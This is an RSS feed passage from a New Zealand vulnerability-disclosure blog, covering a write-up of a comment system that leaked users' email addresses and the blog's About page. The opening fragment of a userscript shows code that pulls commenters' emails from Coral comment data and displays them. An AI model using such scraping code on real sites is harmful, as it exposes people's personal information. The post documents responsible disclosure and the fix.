&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">comment&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">author&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">id&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">includes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;@&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">anchor&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">href&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;mailto:&amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">comment&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">author&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">id&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">anchor&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">innerText&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">comment&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">author&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">id&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">newChild&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">appendChild&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">anchor&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">usernameElement&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">parentElement&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">insertBefore&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">newChild&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">usernameElement&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">parentElement&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">lastChild&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">element&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">setAttribute&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;demasked&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;true&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">comments&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">length&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">setTimeout&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">handleCommentsUpdate&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1000&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">})();&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/details>
&lt;p>This will extract that delicious PII and display it right next to each comment.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/001/userscript-example.png">&lt;figcaption>
&lt;h4>An example of the userscript running. Email addresses redacted for obvious reasons.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>It should be noted that not all of this website&amp;rsquo;s users have their email as their Coral identifier.
It seems that if you create a new account today, you will have an integer as your ID.
This makes me suspect that only older accounts (probably migrated from their old comment system) are at risk here.&lt;/p>
&lt;h2 id="other-websites">Other Websites
&lt;/h2>&lt;p>So, does this mean that all the other websites out there that use Coral are also giving out PII like it&amp;rsquo;s a lolly scramble?
Well, no. It doesn&amp;rsquo;t appear to be the case.
Of the several dozen websites that use Coral, it seems that they all use either an integer or a GUID to represent their user&amp;rsquo;s ID.
So it would appear that it is more to do with &lt;em>how&lt;/em> this website has chosen to identify their users instead of a flaw inherent in Coral.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/001/newstalkzb-example.png">&lt;figcaption>
&lt;h4>NewsTalkZB also uses Coral, but uses GUIDs instead of email addresses for identification.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>I reported this issue to the website&amp;rsquo;s owners on February 7, it was acknowledged on February 8, and it appears that the commenting system was taken down before February 10th.
Presumably, they&amp;rsquo;ve changed the CORS settings for their Coral server as a stop-gap while they remove the PII.
I am very happy with how quickly they&amp;rsquo;ve handled this situation.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/001/comments-takedown.png">&lt;figcaption>
&lt;h4>The current state of the comments section right now.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="extra-déjà-vu">Extra: Déjà Vu
&lt;/h2>&lt;p>Almost 11 years ago, I discovered a similar flaw in this website&amp;rsquo;s comment section.
It was almost exactly the same, in fact.
But it had a much more dissatisfying outcome.&lt;/p>
&lt;p>The website used to allow users to sign in with a social login (e.g. Twitter/X, Facebook, etc).
If a user did this and then commented on an article then the URL of their social media profile would be sent down to everyone who viewed the comment.
So I did what I did here: I made a proof-of-concept and submitted my findings.
After a phone call and some email back-and-forth a decision was reached!&lt;/p>
&lt;p>An email from their editor confirmed that they would just change their terms of service to make this okay.
🤷
I&amp;rsquo;m glad they are taking the issue more seriously now.&lt;/p>
&lt;h2 id="update-2024-05-17">Update (2024-05-17)
&lt;/h2>&lt;p>It&amp;rsquo;s been a few months and I&amp;rsquo;ve noticed that the comments system has been reinstated.
A data migration has taken place where the user IDs in Coral have been replaced by the user&amp;rsquo;s account ID (instead of their email address).
This is a welcome change when compared to the error message previously seen when viewing the comments sections.
Now you can comment on articles with the confidence that your email isn&amp;rsquo;t being leaked.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/001/comments-fixed.png">&lt;figcaption>
&lt;h4>The user IDs have been fixed so that they don&amp;#39;t leak information.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@ashni_ahlawat?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Ashni&lt;/a> on &lt;a href="https://unsplash.com/photos/a-cup-of-coffee-and-a-pair-of-glasses-on-a-newspaper-Wh9ZC4727e4?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>About</title><link>https://jesse.hacks.nz/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://jesse.hacks.nz/about/</guid><description>&lt;img src="https://jesse.hacks.nz/about/hagley_park.jpg" alt="Featured image of post About" />&lt;p>This website is a blog dedicated to finding security vulnerabilities in New Zealand websites and getting them fixed.
I aim to publish a new post each weekend until &lt;em>all&lt;/em> the websites are fixed 😉.&lt;/p>
&lt;h2 id="the-motivations">The Motivations
&lt;/h2>&lt;p>I have a few reasons for starting this blog, so bear with me.&lt;/p>
&lt;h3 id="accountability">Accountability
&lt;/h3>&lt;p>It wasn&amp;rsquo;t so long ago that one could find major security issues in some of New Zealand&amp;rsquo;s biggest websites without too much trouble.
Often these websites&amp;rsquo; security issues would involve leaking all their users&amp;rsquo; personal information (and sometimes even their passwords&amp;hellip; in plaintext).
While these issues were eventually fixed, the users of these websites were never told that their personal data was compromised.
I don&amp;rsquo;t think this is good enough.&lt;/p>
&lt;p>Companies should have a responsibility to inform their users of a breach so that their users can take the required extra steps (like changing their passwords, etc - although, everyone should use a different password for each website but that&amp;rsquo;s another issue altogether, really).
Every website has software vulnerabilities; the fact that a website is on here means that they care enough to have fixed them!&lt;/p>
&lt;h3 id="education">Education
&lt;/h3>&lt;p>This is twofold, I think there that many different kinds of professionals can learn something from reading through the posts on this website.&lt;/p>
&lt;h4 id="defensive">Defensive
&lt;/h4>&lt;p>Most of the vulnerabilities in websites are pretty simple ones to fix if you know what to look for.
But thinking about the bigger picture here, if you&amp;rsquo;re a developer and add features to a software project, you should be aware of the common risks and pitfalls.&lt;/p>
&lt;p>This blog aims to to show developers what &lt;strong>not&lt;/strong> to do and how these issues can crop up in the wild.
It&amp;rsquo;s a showcase of the OWASP Top 10 but in relatable terms; pretty much every Kiwi has used some of the websites listed on this blog.
As such, despite the sensationalised titles, each post is presented in an educational style.&lt;/p>
&lt;h4 id="offensive">Offensive
&lt;/h4>&lt;p>And if you&amp;rsquo;re on the other site of it, I want to show you how you techniques that you can use to break websites.
If I&amp;rsquo;m being honest, most of the techniques used here aren&amp;rsquo;t particularly sophisticated and can be learned in an afternoon if one is already familiar with web technologies and software development.
But you can probably still learn something regardless.
I&amp;rsquo;m constantly learning new things when I&amp;rsquo;m evaluating websites for issues.&lt;/p>
&lt;p>I also want to encourage other hackers to do the right thing if they find a security issue on a system; the more people we have finding and reporting issues, the better the internet will be for everyone!
It&amp;rsquo;s also really fun to find vulnerabilities and I encourage everyone to try it!&lt;/p>
&lt;h2 id="the-techniques">The Techniques
&lt;/h2>&lt;p>I use only the most top-secret elite hacker tools on the market (like Firefox, or Google Chrome).
Seriously, all you need to find and take advantage of most websites is just a web browser.
It&amp;rsquo;s not very often that I have to use something a little more sophisticated like Burp Suite.&lt;/p>
&lt;p>Finding the vulnerability is often the least time-consuming part of the process.
I&amp;rsquo;ll often only spend about 30 minutes evaluating a website.
Sometimes I&amp;rsquo;ll find no issues and sometimes I&amp;rsquo;ll find half a dozen issues.
It just depends on how much thought and investment this website has put into security.&lt;/p>
&lt;p>After I find a problem on a website, I&amp;rsquo;ll write a report with enough information so that the website maintainers can fix it.
This report will often include screenshots or videos if needed.
I also include some possible ways that a malicious 3rd-party could abuse the vulnerability to do damage to the website.
Sometimes this involves creating a proof-of-concept (PoC); there&amp;rsquo;s really nothing like a good demonstration to motivate a company into fixing an issue.&lt;/p>
&lt;p>I&amp;rsquo;ll then make contact with the organisation behind the website and give them the report.
To provide some motivation to fix the issues quickly, I let them know that I&amp;rsquo;d like to publish a post online based upon the report within 90 days once the issues have been fixed.&lt;/p>
&lt;p>After that they&amp;rsquo;ll usually have the issues fixed pretty quickly; some of the bigger companies will only take a couple of hours to get things sorted.&lt;/p>
&lt;h2 id="the-human">The Human
&lt;/h2>&lt;p>I&amp;rsquo;m a software engineer based in Ōtautahi, New Zealand.
This website is just a hobby project for me.
Among other things, I tutor computer science to university students and am trying to figure out how to make the violin sound not terrible.&lt;/p></description></item></channel></rss>